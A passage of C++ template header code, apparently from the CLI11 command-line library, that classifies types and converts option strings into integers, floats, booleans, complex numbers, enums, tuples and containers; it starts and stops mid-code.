value{object_category::boolean_value};\n};\n\n/// Floats\ntemplate <typename T> struct classify_object<T, typename std::enable_if<std::is_floating_point<T>::value>::type> {\n    static constexpr object_category value{object_category::floating_point};\n};\n\n/// String and similar direct assignment\ntemplate <typename T>\nstruct classify_object<T,\n                       typename std::enable_if<!std::is_floating_point<T>::value && !std::is_integral<T>::value &&\n                                               std::is_assignable<T &, std::string>::value>::type> {\n    static constexpr object_category value{object_category::string_assignable};\n};\n\n/// String and similar constructible and copy assignment\ntemplate <typename T>\nstruct classify_object<\n    T,\n    typename std::enable_if<!std::is_floating_point<T>::value && !std::is_integral<T>::value &&\n                            !std::is_assignable<T &, std::string>::value && (type_count<T>::value == 1) &&\n                            std::is_constructible<T, std::string>::value>::type> {\n    static constexpr object_category value{object_category::string_constructible};\n};\n\n/// Enumerations\ntemplate <typename T> struct classify_object<T, typename std::enable_if<std::is_enum<T>::value>::type> {\n    static constexpr object_category value{object_category::enumeration};\n};\n\ntemplate <typename T> struct classify_object<T, typename std::enable_if<is_complex<T>::value>::type> {\n    static constexpr object_category value{object_category::complex_number};\n};\n\n/// Handy helper to contain a bunch of checks that rule out many common types (integers, string like, floating point,\n/// vectors, and enumerations\ntemplate <typename T> struct uncommon_type {\n    using type = typename std::conditional<!std::is_floating_point<T>::value && !std::is_integral<T>::value &&\n                                               !std::is_assignable<T &, std::string>::value &&\n                                               !std::is_constructible<T, std::string>::value && !is_complex<T>::value &&\n                                               !is_mutable_container<T>::value && !std::is_enum<T>::value,\n                                           std::true_type,\n                                           std::false_type>::type;\n    static constexpr bool value = type::value;\n};\n\n/// wrapper type\ntemplate <typename T>\nstruct classify_object<T,\n                       typename std::enable_if<(!is_mutable_container<T>::value && is_wrapper<T>::value &&\n                                                !is_tuple_like<T>::value && uncommon_type<T>::value)>::type> {\n    static constexpr object_category value{object_category::wrapper_value};\n};\n\n/// Assignable from double or int\ntemplate <typename T>\nstruct classify_object<T,\n                       typename std::enable_if<uncommon_type<T>::value && type_count<T>::value == 1 &&\n                                               !is_wrapper<T>::value && is_direct_constructible<T, double>::value &&\n                                               is_direct_constructible<T, int>::value>::type> {\n    static constexpr object_category value{object_category::number_constructible};\n};\n\n/// Assignable from int\ntemplate <typename T>\nstruct classify_object<T,\n                       typename std::enable_if<uncommon_type<T>::value && type_count<T>::value == 1 &&\n                                               !is_wrapper<T>::value && !is_direct_constructible<T, double>::value &&\n                                               is_direct_constructible<T, int>::value>::type> {\n    static constexpr object_category value{object_category::integer_constructible};\n};\n\n/// Assignable from double\ntemplate <typename T>\nstruct classify_object<T,\n                       typename std::enable_if<uncommon_type<T>::value && type_count<T>::value == 1 &&\n                                               !is_wrapper<T>::value && is_direct_constructible<T, double>::value &&\n                                               !is_direct_constructible<T, int>::value>::type> {\n    static constexpr object_category value{object_category::double_constructible};\n};\n\n/// Tuple type\ntemplate <typename T>\nstruct classify_object<\n    T,\n    typename std::enable_if<is_tuple_like<T>::value &&\n                            ((type_count<T>::value >= 2 && !is_wrapper<T>::value) ||\n                             (uncommon_type<T>::value && !is_direct_constructible<T, double>::value &&\n                              !is_direct_constructible<T, int>::value) ||\n                             (uncommon_type<T>::value && type_count<T>::value >= 2))>::type> {\n    static constexpr object_category value{object_category::tuple_value};\n    // the condition on this class requires it be like a tuple, but on some compilers (like Xcode) tuples can be\n    // constructed from just the first element so tuples of <string, int,int> can be constructed from a string, which\n    // could lead to issues so there are two variants of the condition, the first isolates things with a type size >=2\n    // mainly to get tuples on Xcode with the exception of wrappers, the second is the main one and just separating out\n    // those cases that are caught by other object classifications\n};\n\n/// container type\ntemplate <typename T> struct classify_object<T, typename std::enable_if<is_mutable_container<T>::value>::type> {\n    static constexpr object_category value{object_category::container_value};\n};\n\n// Type name print\n\n/// Was going to be based on\n///  http://stackoverflow.com/questions/1055452/c-get-name-of-type-in-template\n/// But this is cleaner and works better in this case\n\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::char_value, detail::enabler> = detail::dummy>\nconstexpr const char *type_name() {\n    return \"CHAR\";\n}\n\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::integral_value ||\n                          classify_object<T>::value == object_category::integer_constructible,\n                      detail::enabler> = detail::dummy>\nconstexpr const char *type_name() {\n    return \"INT\";\n}\n\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::unsigned_integral, detail::enabler> = detail::dummy>\nconstexpr const char *type_name() {\n    return \"UINT\";\n}\n\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::floating_point ||\n                          classify_object<T>::value == object_category::number_constructible ||\n                          classify_object<T>::value == object_category::double_constructible,\n                      detail::enabler> = detail::dummy>\nconstexpr const char *type_name() {\n    return \"FLOAT\";\n}\n\n/// Print name for enumeration types\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::enumeration, detail::enabler> = detail::dummy>\nconstexpr const char *type_name() {\n    return \"ENUM\";\n}\n\n/// Print name for enumeration types\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::boolean_value, detail::enabler> = detail::dummy>\nconstexpr const char *type_name() {\n    return \"BOOLEAN\";\n}\n\n/// Print name for enumeration types\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::complex_number, detail::enabler> = detail::dummy>\nconstexpr const char *type_name() {\n    return \"COMPLEX\";\n}\n\n/// Print for all other types\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value >= object_category::string_assignable &&\n                          classify_object<T>::value <= object_category::other,\n                      detail::enabler> = detail::dummy>\nconstexpr const char *type_name() {\n    return \"TEXT\";\n}\n/// typename for tuple value\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::tuple_value && type_count_base<T>::value >= 2,\n                      detail::enabler> = detail::dummy>\nstd::string type_name();  // forward declaration\n\n/// Generate type name for a wrapper or container value\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::container_value ||\n                          classify_object<T>::value == object_category::wrapper_value,\n                      detail::enabler> = detail::dummy>\nstd::string type_name();  // forward declaration\n\n/// Print name for single element tuple types\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::tuple_value && type_count_base<T>::value == 1,\n                      detail::enabler> = detail::dummy>\ninline std::string type_name() {\n    return type_name<typename std::decay<typename std::tuple_element<0, T>::type>::type>();\n}\n\n/// Empty string if the index > tuple size\ntemplate <typename T, std::size_t I>\ninline typename std::enable_if<I == type_count_base<T>::value, std::string>::type tuple_name() {\n    return std::string{};\n}\n\n/// Recursively generate the tuple type name\ntemplate <typename T, std::size_t I>\ninline typename std::enable_if<(I < type_count_base<T>::value), std::string>::type tuple_name() {\n    auto str = std::string{type_name<typename std::decay<typename std::tuple_element<I, T>::type>::type>()} + ',' +\n               tuple_name<T, I + 1>();\n    if(str.back() == ',')\n        str.pop_back();\n    return str;\n}\n\n/// Print type name for tuples with 2 or more elements\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::tuple_value && type_count_base<T>::value >= 2,\n                      detail::enabler>>\ninline std::string type_name() {\n    auto tname = std::string(1, '[') + tuple_name<T, 0>();\n    tname.push_back(']');\n    return tname;\n}\n\n/// get the type name for a type that has a value_type member\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::container_value ||\n                          classify_object<T>::value == object_category::wrapper_value,\n                      detail::enabler>>\ninline std::string type_name() {\n    return type_name<typename T::value_type>();\n}\n\n// Lexical cast\n\n/// Convert to an unsigned integral\ntemplate <typename T, enable_if_t<std::is_unsigned<T>::value, detail::enabler> = detail::dummy>\nbool integral_conversion(const std::string &input, T &output) noexcept {\n    if(input.empty() || input.front() == '-') {\n        return false;\n    }\n    char *val = nullptr;\n    errno = 0;\n    std::uint64_t output_ll = std::strtoull(input.c_str(), &val, 0);\n    if(errno == ERANGE) {\n        return false;\n    }\n    output = static_cast<T>(output_ll);\n    if(val == (input.c_str() + input.size()) && static_cast<std::uint64_t>(output) == output_ll) {\n        return true;\n    }\n    val = nullptr;\n    std::int64_t output_sll = std::strtoll(input.c_str(), &val, 0);\n    if(val == (input.c_str() + input.size())) {\n        output = (output_sll < 0) ? static_cast<T>(0) : static_cast<T>(output_sll);\n        return (static_cast<std::int64_t>(output) == output_sll);\n    }\n    return false;\n}\n\n/// Convert to a signed integral\ntemplate <typename T, enable_if_t<std::is_signed<T>::value, detail::enabler> = detail::dummy>\nbool integral_conversion(const std::string &input, T &output) noexcept {\n    if(input.empty()) {\n        return false;\n    }\n    char *val = nullptr;\n    errno = 0;\n    std::int64_t output_ll = std::strtoll(input.c_str(), &val, 0);\n    if(errno == ERANGE) {\n        return false;\n    }\n    output = static_cast<T>(output_ll);\n    if(val == (input.c_str() + input.size()) && static_cast<std::int64_t>(output) == output_ll) {\n        return true;\n    }\n    if(input == \"true\") {\n        // this is to deal with a few oddities with flags and wrapper int types\n        output = static_cast<T>(1);\n        return true;\n    }\n    return false;\n}\n\n/// Convert a flag into an integer value  typically binary flags\ninline std::int64_t to_flag_value(std::string val) {\n    static const std::string trueString(\"true\");\n    static const std::string falseString(\"false\");\n    if(val == trueString) {\n        return 1;\n    }\n    if(val == falseString) {\n        return -1;\n    }\n    val = detail::to_lower(val);\n    std::int64_t ret = 0;\n    if(val.size() == 1) {\n        if(val[0] >= '1' && val[0] <= '9') {\n            return (static_cast<std::int64_t>(val[0]) - '0');\n        }\n        switch(val[0]) {\n        case '0':\n        case 'f':\n        case 'n':\n        case '-':\n            ret = -1;\n            break;\n        case 't':\n        case 'y':\n        case '+':\n            ret = 1;\n            break;\n        default:\n            throw std::invalid_argument(\"unrecognized character\");\n        }\n        return ret;\n    }\n    if(val == trueString || val == \"on\" || val == \"yes\" || val == \"enable\") {\n        ret = 1;\n    } else if(val == falseString || val == \"off\" || val == \"no\" || val == \"disable\") {\n        ret = -1;\n    } else {\n        ret = std::stoll(val);\n    }\n    return ret;\n}\n\n/// Integer conversion\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::integral_value ||\n                          classify_object<T>::value == object_category::unsigned_integral,\n                      detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    return integral_conversion(input, output);\n}\n\n/// char values\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::char_value, detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    if(input.size() == 1) {\n        output = static_cast<T>(input[0]);\n        return true;\n    }\n    return integral_conversion(input, output);\n}\n\n/// Boolean values\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::boolean_value, detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    try {\n        auto out = to_flag_value(input);\n        output = (out > 0);\n        return true;\n    } catch(const std::invalid_argument &) {\n        return false;\n    } catch(const std::out_of_range &) {\n        // if the number is out of the range of a 64 bit value then it is still a number and for this purpose is still\n        // valid all we care about the sign\n        output = (input[0] != '-');\n        return true;\n    }\n}\n\n/// Floats\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::floating_point, detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    if(input.empty()) {\n        return false;\n    }\n    char *val = nullptr;\n    auto output_ld = std::strtold(input.c_str(), &val);\n    output = static_cast<T>(output_ld);\n    return val == (input.c_str() + input.size());\n}\n\n/// complex\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::complex_number, detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    using XC = typename wrapped_type<T, double>::type;\n    XC x{0.0}, y{0.0};\n    auto str1 = input;\n    bool worked = false;\n    auto nloc = str1.find_last_of(\"+-\");\n    if(nloc != std::string::npos && nloc > 0) {\n        worked = lexical_cast(str1.substr(0, nloc), x);\n        str1 = str1.substr(nloc);\n        if(str1.back() == 'i' || str1.back() == 'j')\n            str1.pop_back();\n        worked = worked && lexical_cast(str1, y);\n    } else {\n        if(str1.back() == 'i' || str1.back() == 'j') {\n            str1.pop_back();\n            worked = lexical_cast(str1, y);\n            x = XC{0};\n        } else {\n            worked = lexical_cast(str1, x);\n            y = XC{0};\n        }\n    }\n    if(worked) {\n        output = T{x, y};\n        return worked;\n    }\n    return from_stream(input, output);\n}\n\n/// String and similar direct assignment\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::string_assignable, detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    output = input;\n    return true;\n}\n\n/// String and similar constructible and copy assignment\ntemplate <\n    typename T,\n    enable_if_t<classify_object<T>::value == object_category::string_constructible, detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    output = T(input);\n    return true;\n}\n\n/// Enumerations\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::enumeration, detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    typename std::underlying_type<T>::type val;\n    if(!integral_conversion(input, val)) {\n        return false;\n    }\n    output = static_cast<T>(val);\n    return true;\n}\n\n/// wrapper types\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::wrapper_value &&\n                          std::is_assignable<T &, typename T::value_type>::value,\n                      detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    typename T::value_type val;\n    if(lexical_cast(input, val)) {\n        output = val;\n        return true;\n    }\n    return from_stream(input, output);\n}\n\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::wrapper_value &&\n                          !std::is_assignable<T &, typename T::value_type>::value && std::is_assignable<T &, T>::value,\n                      detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    typename T::value_type val;\n    if(lexical_cast(input, val)) {\n        output = T{val};\n        return true;\n    }\n    return from_stream(input, output);\n}\n\n/// Assignable from double or int\ntemplate <\n    typename T,\n    enable_if_t<classify_object<T>::value == object_category::number_constructible, detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    int val = 0;\n    if(integral_conversion(input, val)) {\n        output = T(val);\n        return true;\n    }\n\n    double dval = 0.0;\n    if(lexical_cast(input, dval)) {\n        output = T{dval};\n        return true;\n    }\n\n    return from_stream(input, output);\n}\n\n/// Assignable from int\ntemplate <\n    typename T,\n    enable_if_t<classify_object<T>::value == object_category::integer_constructible, detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    int val = 0;\n    if(integral_conversion(input, val)) {\n        output = T(val);\n        return true;\n    }\n    return from_stream(input, output);\n}\n\n/// Assignable from double\ntemplate <\n    typename T,\n    enable_if_t<classify_object<T>::value == object_category::double_constructible, detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    double val = 0.0;\n    if(lexical_cast(input, val)) {\n        output = T{val};\n        return true;\n    }\n    return from_stream(input, output);\n}\n\n/// Non-string convertible from an int\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::other && std::is_assignable<T &, int>::value,\n                      detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    int val = 0;\n    if(integral_conversion(input, val)) {\n#ifdef _MSC_VER\n#pragma warning(push)\n#pragma warning(disable : 4800)\n#endif\n        // with Atomic<XX> this could produce a warning due to the conversion but if atomic gets here it is an old style\n        // so will most likely still work\n        output = val;\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n        return true;\n    }\n    // LCOV_EXCL_START\n    // This version of cast is only used for odd cases in an older compilers the fail over\n    // from_stream is tested elsewhere an not relevant for coverage here\n    return from_stream(input, output);\n    // LCOV_EXCL_STOP\n}\n\n/// Non-string parsable by a stream\ntemplate <typename T,\n          enable_if_t<classify_object<T>::value == object_category::other && !std::is_assignable<T &, int>::value,\n                      detail::enabler> = detail::dummy>\nbool lexical_cast(const std::string &input, T &output) {\n    static_assert(is_istreamable<T>::value,\n                  \"option object type must have a lexical cast overload or streaming input operator(>>) defined, if it \"\n                  \"is convertible from another type use the add_option<T, XC>(...) with XC being the known type\");\n    return from_stream(input, output);\n}\n\n/// Assign a value through lexical cast operations\n/// Strings can be empty so we need to do a little different\ntemplate <typename AssignTo,\n          typename ConvertTo,\n          enable_if_t<std::is_same<AssignTo, ConvertTo>::value &&\n                          (classify_object<AssignTo>::value == object_category::string_assignable ||\n                           classify_object<AssignTo>::value == object_category::string_constructible),\n                      detail::enabler> = detail::dummy>\nbool lexical_assign(const std::string &input, AssignTo &output) {\n    return lexical_cast(input, output);\n}\n\n/// Assign a value through lexical cast operations\ntemplate <typename AssignTo,\n          typename ConvertTo,\n          enable_if_t<std::is_same<AssignTo, ConvertTo>::value && std::is_assignable<AssignTo &, AssignTo>::value &&\n                          classify_object<AssignTo>::value != object_category::string_assignable &&\n                          classify_object<AssignTo>::value != object_category::string_constructible,\n                      detail::enabler> = detail::dummy>\nbool lexical_assign(const std::string &input, AssignTo &output) {\n    if(input.empty()) {\n        output = AssignTo{};\n        return true;\n    }\n\n    return lexical_cast(input, output);\n}\n\n/// Assign a value through lexical cast operations\ntemplate <typename AssignTo,\n          typename ConvertTo,\n          enable_if_t<std::is_same<AssignTo, ConvertTo>::value && !std::is_assignable<AssignTo &, AssignTo>::value &&\n                          classify_object<AssignTo>::value == object_category::wrapper_value,\n                      detail::enabler> = detail::dummy>\nbool lexical_assign(const std::string &input, AssignTo &output) {\n    if(input.empty()) {\n        typename AssignTo::value_type emptyVal{};\n        output = emptyVal;\n        return true;\n    }\n    return lexical_cast(input, output);\n}\n\n/// Assign a value through lexical cast operations for int compatible values\n/// mainly for atomic operations on some compilers\ntemplate <typename AssignTo,\n          typename ConvertTo,\n          enable_if_t<std::is_same<AssignTo, ConvertTo>::value && !std::is_assignable<AssignTo &, AssignTo>::value &&\n                          classify_object<AssignTo>::value != object_category::wrapper_value &&\n                          std::is_assignable<AssignTo &, int>::value,\n                      detail::enabler> = detail::dummy>\nbool lexical_assign(const std::string &input, AssignTo &output) {\n    if(input.empty()) {\n        output = 0;\n        return true;\n    }\n    int val = 0;\n    if(lexical_cast(input, val)) {\n        output = val;\n        return true;\n    }\n    return false;\n}\n\n/// Assign a value converted from a string in lexical cast to the output value directly\ntemplate <typename AssignTo,\n          typename ConvertTo,\n          enable_if_t<!std::is_same<AssignTo, ConvertTo>::value && std::is_assignable<AssignTo &, ConvertTo &>::value,\n                      detail::enabler> = detail::dummy>\nbool lexical_assign(const std::string &input, AssignTo &output) {\n    ConvertTo val{};\n    bool parse_result = (!input.empty()) ? lexical_cast(input, val) : true;\n    if(parse_result) {\n        output = val;\n    }\n    return parse_result;\n}\n\n/// Assign a value from a lexical cast through constructing a value and move assigning it\ntemplate <\n    typename AssignTo,\n    typename ConvertTo,\n    enable_if_t<!std::is_same<AssignTo, ConvertTo>::value && !std::is_assignable<AssignTo &, ConvertTo &>::value &&\n                    std::is_move_assignable<AssignTo>::value,\n                detail::enabler> = detail::dummy>\nbool lexical_assign(const std::string &input, AssignTo &output) {\n    ConvertTo val{};\n    bool parse_result = input.empty() ? true : lexical_cast(input, val);\n    if(parse_result) {\n        output = AssignTo(val);  // use () form of constructor to allow some implicit conversions\n    }\n    return parse_result;\n}\n\n/// primary lexical conversion operation, 1 string to 1 type of some kind\ntemplate <typename AssignTo,\n          typename ConvertTo,\n          enable_if_t<classify_object<ConvertTo>::value <= object_category::other &&\n                          classify_object<AssignTo>::value <= object_category::wrapper_value,\n                      detail::enabler> = detail::dummy>\nbool lexical_conversion(const std::vector<std ::string> &strings, AssignTo &output) {\n    return lexical_assign<AssignTo, ConvertTo>(strings[0], output);\n}\n\n/// Lexical conversion if there is only one element but the conversion type is for two, then call a two element\n/// constructor\ntemplate <typename AssignTo,\n          typename ConvertTo,\n          enable_if_t<(type_count<AssignTo>::value <= 2) && expected_count<AssignTo>::value == 1 &&\n                          is_tuple_like<ConvertTo>::value && type_count_base<ConvertTo>::value == 2,\n                      detail::enabler> = detail::dummy>\nbool lexical_conversion(const std::vector<std ::string> &strings, AssignTo &output) {\n    // the remove const is to handle pair types coming from a container\n    typename std::remove_const<typename std::tuple_element<0, ConvertTo>::type>::type v1;\n    typename std::tuple_element<1, ConvertTo>::type v2;\n    bool retval = lexical_assign<decltype(v1), decltype(v1)>(strings[0], v1);\n    if(strings.size() > 1) {\n        retval = retval && lexical_assign<decltype(v2), decltype(v2)>(strings[1], v2);\n    }\n    if(retval) {\n        output = AssignTo{v1, v2};\n    }\n    return retval;\n}\n\n/// Lexical conversion of a container types of single elements\ntemplate <class AssignTo,\n          class ConvertTo,\n          enable_if_t<is_mutable_container<AssignTo>::value && is_mutable_container<ConvertTo>::value &&\n                          type_count<ConvertTo>::value == 1,\n                      detail::enabler> = detail::dummy>\nbool lexical_conversion(const std::vector<std ::string> &strings, AssignTo &output) {\n    output.erase(output.begin(), output.end());\n    if(strings.size() == 1 && strings[0] == \"{}\") {\n        return true;\n    }\n    bool skip_remaining = false;\n    if(strings.size() == 2 && strings[0] == \"{}\" && is_separator(strings[1])) {\n        skip_remaining = true;\n    }\n    for(const auto &elem : strings) {\n        typename AssignTo::value_type out;\n        bool retval = lexical_assign<typename AssignTo::value_type, typename ConvertTo::value_type>(elem, out);\n        if(!retval) {\n            return false;\n        }\n        output.insert(output.end(), std::move(out));\n        if(skip_remaining) {\n            break;\n        }\n    }\n    return (!output.empty());\n}\n\n/// Lexical conversion for complex types\ntemplate <class AssignTo, class ConvertTo, enable_if_t<is_complex<ConvertTo>::value, detail::enabler> = detail::dummy>\nbool lexical_conversion(const std::vector<std::string> &strings, AssignTo &output) {\n\n    if(strings.size() >= 2 && !strings[1].empty()) {\n        using XC2 = typename wrapped_type<ConvertTo, double>::type;\n        XC2 x{0.0}, y{0.0};\n        auto str1 = strings[1];\n        if(str1.back() == 'i' || str1.back() == 'j') {\n            str1.pop_back();\n        }\n        auto worked = lexical_cast(strings[0], x) && lexical_cast(str1, y);\n        if(worked) {\n            output = ConvertTo{x, y};\n        }\n        return worked;\n    }\n    return lexical_assign<AssignTo, ConvertTo>(strings[0], output);\n}\n\n/// Conversion to a vector type using a particular single type as the conversion type\ntemplate <class AssignTo,\n          class ConvertTo,\n          enable_if_t<is_mutable_container<AssignTo>::value && (expected_count<ConvertTo>::value == 1) &&\n                          (type_count<ConvertTo>::value == 1),\n                      detail::enabler> = detail::dummy>\nbool lexical_conversion(const std::vector<std ::string> &strings, AssignTo &output) {\n    bool retval = true;\n    output.clear();\n    output.reserve(strings.size());\n    for(const auto &elem : strings) {\n\n        output.emplace_back();\n        retval = retval && lexical_assign<typename AssignTo::value_type, ConvertTo>(elem, output.back());\n    }\n    return (!output.empty()) && retval;\n}\n\n// forward declaration\n\n/// Lexical conversion of a container types with conversion type of two elements\ntemplate <class AssignTo,\n          class ConvertTo,\n          enable_if_t<is_mutable_container<AssignTo>::value && is_mutable_container<ConvertTo>::value &&\n                          type_count_base<ConvertTo>::value == 2,\n                      detail::enabler> = detail::dummy>\nbool lexical_conversion(std::vector<std::string> strings, AssignTo &output);\n\n/// Lexical conversion of a vector types with type_size >2 forward declaration\ntemplate <class AssignTo,\n          class ConvertTo,\n          enable_if_t<is_mutable_container<AssignTo>::value && is_mutable_container<ConvertTo>::value &&\n                          type_count_base<ConvertTo>::value != 2 &&\n                          ((type_count<ConvertTo>::value > 2) ||\n                           (type_count<ConvertTo>::value > type_count_base<ConvertTo>::value)),\n                      detail::enabler> = detail::dummy>\nbool lexical_conversion(const std::vector<std::string> &strings, AssignTo &output);\n\n/// Conversion for tuples\ntemplate <class AssignTo,\n          class ConvertTo,\n          enable_if_t<is_tuple_like<AssignTo>::value && is_tuple_like<ConvertTo>::value &&\n                          (type_count_base<ConvertTo>::value != type_count<ConvertTo>::value ||\n                           type_count<ConvertTo>::value > 2),\n                      detail::enabler> = detail::dummy>\nbool lexical_conversion(const std::vector<std::string> &strings, AssignTo &output);  // forward declaration\n\n/// Conversion for operations where the assigned type is some class but the conversion is a mutable container or large\n/// tuple\ntemplate <typename AssignTo,\n          typename ConvertTo,\n          enable_if_t<!is_tuple_like<AssignTo>::value && !is_mutable_container<AssignTo>::value &&\n                          classify_object<ConvertTo>::value != object_category::wrapper_value &&\n                          (is_mutable_container<ConvertTo>::value || type_count<ConvertTo>::value > 2),\n                      detail::enabler> = detail::dummy>\nbool lexical_conversion(const std::vector<std ::string> &strings, AssignTo &output) {\n\n    if(strings.size() > 1 || (!strings.empty() && !(strings.front().empty()))) {\n        ConvertTo val;\n        auto retval = lexical_conversion<ConvertTo, ConvertTo>(strings, val);\n        output = AssignTo{val};\n        return retval;\n    }\n    output = AssignTo{};\n    return true;\n}\n\n/// function template for converting tuples if the static Index is greater than the tuple size\ntemplate <class AssignTo, class ConvertTo, std::size_t I>\ninline typename std::enable_if<(I >= type_count_base<AssignTo>::value), bool>::type\ntuple_conversion(const std::vector<std::string> &, AssignTo &) {\n    return true;\n}\n\n/// Conversion of a tuple element where the type size ==1 and not a mutable container\ntemplate <class AssignTo, class ConvertTo>\ninline typename std::enable_if<!is_mutable_container<ConvertTo>::value && type_count<ConvertTo>::value == 1, bool>::type\ntuple_type_conversion(std::vector<std::string> &strings, AssignTo &output) {\n    auto retval = lexical_assign<AssignTo, ConvertTo>(strings[0], output);\n    strings.erase(strings.begin());\n    return retval;\n}\n\n/// Conversion of a tuple element where the type size !=1 but the size is fixed and not a mutable container\ntemplate <class AssignTo, class ConvertTo>\ninline typename std::enable_if<!is_mutable_container<ConvertTo>::value && (type_count<ConvertTo>::value > 1) &&\n                                   type_count<ConvertTo>::value == type_count_min<ConvertTo>::value,\n                               bool>::type\ntuple_type_conversion(std::vector<std::string> &strings, AssignTo &output) {\n    auto retval = lexical_conversion<AssignTo, ConvertTo>(strings, output);\n    strings.erase(strings.begin(), strings.begin() + type_count<ConvertTo>::value);\n    return retval;\n}\n\n/// Conversion of a tuple element where the type is a mutable container or a type with different min and max type sizes\ntemplate <class AssignTo, class ConvertTo>\ninline typename std::enable_if<is_mutable_container<ConvertTo>::value ||\n                                   type_count<ConvertTo>::value != type_count_min<ConvertTo>::value,\n                               bool>::type\ntuple_type_conversion(std::vector<std::string> &strings, AssignTo &output) {\n\n    std::size_t index{subtype_count_min<ConvertTo>::value};\n    const std::size_t mx_count{subtype_count<ConvertTo>::value};\n    const std::size_t mx{(std::max)(mx_count, strings.size())};\n\n    while(index < mx) {\n        if(is_separator(strings[index])) {\n            break;\n        }\n        ++index;\n    }\n    bool retval = lexical_conversion<AssignTo, ConvertTo>(\n        std::vector<std::string>(strings.begin(), strings.begin() + static_cast<std::ptrdiff_t>(index)), output);\n    strings.erase(strings.begin(), strings.begin() + static_cast<std::ptrdiff_t>(index) + 1);\n    return retval;\n}\n\n/// Tuple conversion operation\ntemplate <class AssignTo, class ConvertTo, std::size_t I>\ninline typename std::enable_if<(I < type_count_base<AssignTo>::value), bool>::type\ntuple_conversion(std::vector<std::string> strings, AssignTo &output) {\n    bool retval = true;\n    using ConvertToElement = typename std::\n        conditional<is_tuple_like<ConvertTo>::value, typename std::tuple_element<I, ConvertTo>::type, ConvertTo>::type;\n    if(!strings.empty()) {\n        retval = retval && tuple_type_conversion<typename std::tuple_element<I, AssignTo>::type, ConvertToElement>(\n                               strings, std::get<I>(output));\n    }\n    retval = retval && tuple_conversion<AssignTo, ConvertTo, I + 1>(std::move(strings), output);\n    return retval;\n}\n\n/// Lexical conversion of a container types with tuple elements of size 2\ntemplate <class AssignTo,\n          class ConvertTo,\n          enable_if_t<is_mutable_container<AssignTo>::value && is_mutable_container<ConvertTo>::value &&\n                          type_count_base<ConvertTo>::value == 2,\n                      detail::enabler>>\nbool lexical_conversion(std::vector<std::string> strings, AssignTo &output) {\n    output.clear();\n    while(!strings.empty()) {\n\n        typename std::remove_const<typename std::tuple_element<0, typename ConvertTo::value_type>::type>::type v1;\n        typename std::tuple_element<1, typename ConvertTo::value_type>::type v2;\n        bool retval = tuple_type_conversion<decltype(v1), decltype(v1)>(strings, v1);\n        if(!strings.empty()) {\n            retval = retval && tuple_type_conversion<decltype(v2), decltype(v2)>(strings, v2);\n        }\n        if(retval) {\n            output.insert(output.end(), typename AssignTo::value_type{v1, v2});\n        } else {\n            return false;\n        }\n    }\n    return (!output.empty());\n}\n\n/// lexical conversion of tuples with type count>2 or tuples of types of some element with a type size>=2\ntemplate <class AssignTo,\n          class ConvertTo,\n          enable_if_t<is_tuple_like<AssignTo>::value && is_tuple_like<ConvertTo>::value &&\n                          (type_count_base<ConvertTo>::value != type_count<ConvertTo>::value ||\n                           type_count<ConvertTo>::value > 2),\n                      detail::enabler>>\nbool lexical_conversion(const std::vector<std ::string> &strings, AssignTo &output) {\n    static_assert(\n        !is_tuple_like<ConvertTo>::value || type_count_base<AssignTo>::value == type_count_base<ConvertTo>::value,\n        \"if the conversion type is defined as a tuple it must be the same size as the type you are converting to\");\n    return tuple_conversion<AssignTo, ConvertTo, 0>(strings, output);\n}\n\n/// Lexical conversion of a vector types for everything but tuples of two elements and types of size 1\ntemplate <class AssignTo,\n          class ConvertTo,\n          enable_if_t<is_mutable_container<AssignTo>::value && is_mutable_container<ConvertTo>::value &&\n                          type_count_base<ConvertTo>::value != 2 &&\n                          ((type_count<ConvertTo>::value > 2) ||\n                           (type_count<ConvertTo>::value > type_count_base<ConvertTo>::value)),\n                      detail::enabler>>\nbool lexical_conversion(const std::vector<std ::string> &strings, AssignTo &output) {\n    bool retval = true;\n    output.clear();\n    std::vector<std::string> temp;\n    std::size_t ii{0};\n    std::size_t icount{0};\n    std::size_t xcm{type_count<ConvertTo>::value};\n    auto ii_max = strings.size();\n    while(ii < ii_max) {\n        temp.push_back(strings[ii]);\n        ++ii;\n        ++icount;\n        if(icount == xcm || is_separator(temp.back()) || ii == ii_max) {\n            if(static_cast<int>(xcm) > 